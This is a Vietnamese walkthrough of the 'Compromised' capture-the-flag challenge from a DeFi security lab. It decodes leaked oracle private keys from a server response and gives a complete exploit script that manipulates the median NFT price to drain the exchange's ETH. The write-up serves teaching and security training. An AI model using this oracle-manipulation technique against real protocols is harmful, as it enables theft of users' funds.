Challenge #7 - Compromised
Nhiệm vụ: Trong khi dạo loanh quanh một ứng dụng Defi nổi tiếng, bạn vô tình bắt gặp một gói tin như sau từ server của họ:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
Có một sàn on-chain exchange đang bán một NFT có tên là “DVNFT” với giá là 999ETH mỗi NFT.
Giá này được fetch bởi một on-chain oracle từ 3 nguồn sau: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.
Bắt đầu với 0.1 ETH, ta cần lấy hết ETH có trong sàn.
Phân tích
Ngay từ tựa đề Compromised đã cho ta thấy có sự lộ thông tin ở đây, nhưng là lộ thông tin gì? Thông thường với blockchain hay crypto thì quan trọng nhất là private key.
Ta có thể dự đoán rằng bằng cách nào đó server đã bị lộ private key của các nguồn update on-chain oracle, và mỗi lần update ta sẽ cần dùng 2 tài khoản, tức là đa số 2/3, đó là lý do tại sao trong gói tin của chúng ta có 2 giá trị.
Ta sẽ thử kiểm chứng giả thuyết của chúng ta.
- Chuyển thử một key về dạng ascii
let k1 =
'4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35';
k1 = k1.split(' ').join('');
k1 = ethers.utils.toUtf8String('0x' + k1);
console.log(k1);
> MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
- Tiếp tục decode base64 chuỗi tìm được
k1 = ethers.utils.base64.decode(k1);
k1 = ethers.utils.toUtf8String(k1);
console.log(k1);
> 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
- đây chính là private key, ta sẽ load thử địa chỉ của ví này ra
const w1 = new ethers.Wallet(k1);
console.log(w1.address);
> 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
-
0xe92401A4d3af5E446d93D11EEc806b1462b39D15
chính là địa chỉ của một trong các oracle source của chúng ta. Chứng tỏ giả thuyết về lộ key của chúng ta là chính xác. -
Vậy ta đã nắm trong tay 2 nguồn onchain oracle, theo đó ta có thể thao túng giá của NFT bằng giá bất kì.
Quay trở lại với sàn on-chain exchange, giá của token khi mua/bán sẽ được lấy bằng giá trung bình của 3 source:
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
và giá trung bình này được lấy chính là giá trị ở giữa trong 3 oracle source:
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));
// calculate median price
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
Ta sẽ có kịch bản khai thác như sau:
- đầu tiên dùng 2 nguồn oracle nắm được để đưa giá NFT về rất nhỏ, ví dụ 1 wei.
- tiến hành mua NFT với giá 1 wei bằng account attacker.
- tiếp tục dùng 2 nguồn oracle nắm được để nâng giá NFT lên 9990 ETH + 1 wei.
- bán NFT lấy 9990 ETH + 1 wei.
- tiếp tục dùng 2 nguồn oracle nắm được để set lại giá ban đầu 999 ETH.
Exploit
Chuẩn bị script khai thác:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
let k1 =
"4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35";
k1 = k1.split(" ").join("");
k1 = ethers.utils.toUtf8String("0x" + k1);
k1 = ethers.utils.base64.decode(k1);
k1 = ethers.utils.toUtf8String(k1);
let w1 = new ethers.Wallet(k1, ethers.provider);
let k2 =
"4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34";
k2 = k2.split(" ").join("");
k2 = ethers.utils.toUtf8String("0x" + k2);
k2 = ethers.utils.base64.decode(k2);
k2 = ethers.utils.toUtf8String(k2);
let w2 = new ethers.Wallet(k2, ethers.provider);
await this.oracle.connect(w1).postPrice("DVNFT", 1);
await this.oracle.connect(w2).postPrice("DVNFT", 1);
await this.exchange.connect(attacker).buyOne({ value: 1 });
await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.oracle
.connect(w1)
.postPrice("DVNFT", ethers.utils.parseEther("9990").add(1));
await this.oracle
.connect(w2)
.postPrice("DVNFT", ethers.utils.parseEther("9990").add(1));
await this.exchange.connect(attacker).sellOne(0);
await this.oracle
.connect(w1)
.postPrice("DVNFT", ethers.utils.parseEther("999"));
await this.oracle
.connect(w2)
.postPrice("DVNFT", ethers.utils.parseEther("999"));
});
Check lại kết quả
Compromised challenge
✓ Exploit (340ms)
1 passing (3s)
All done!